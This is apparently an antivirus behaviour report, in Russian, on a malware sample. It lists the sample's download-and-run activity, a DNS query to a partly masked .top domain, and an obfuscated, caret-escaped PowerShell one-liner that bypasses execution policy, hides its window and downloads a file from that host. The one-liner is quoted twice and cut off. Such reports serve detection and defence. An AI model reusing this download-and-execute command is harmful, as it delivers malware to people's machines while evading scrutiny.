Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://fo###repu.top/read.php?f=##### как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "pOw^E^rShe^L^l.^EX^E ^-ExeCutioNpO^L^i^CY^ ^B^yp^a^s^s ^-nOPrO^Fi^le -w^IN^Do^WsT^YL^e H^iD^De^N (NE^W-OBJ^E^Ct^ sySt^eM^.n^e^T.W^E^BC^LIe^Nt).dow^nlo^ADfI^l^E('http://fo###rep...
Сетевая активность
UDP
- DNS ASK fo###repu.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "pOw^E^rShe^L^l.^EX^E ^-ExeCutioNpO^L^i^CY^ ^B^yp^a^s^s ^-nOPrO^Fi^le -w^IN^Do^WsT^YL^e H^iD^De^N (NE^W-OBJ^E^Ct^ sySt^eM^.n^e^T.W^E^BC^LIe^Nt).dow^nlo^ADfI^l^E('http://fo###rep...' (со скрытым окном)
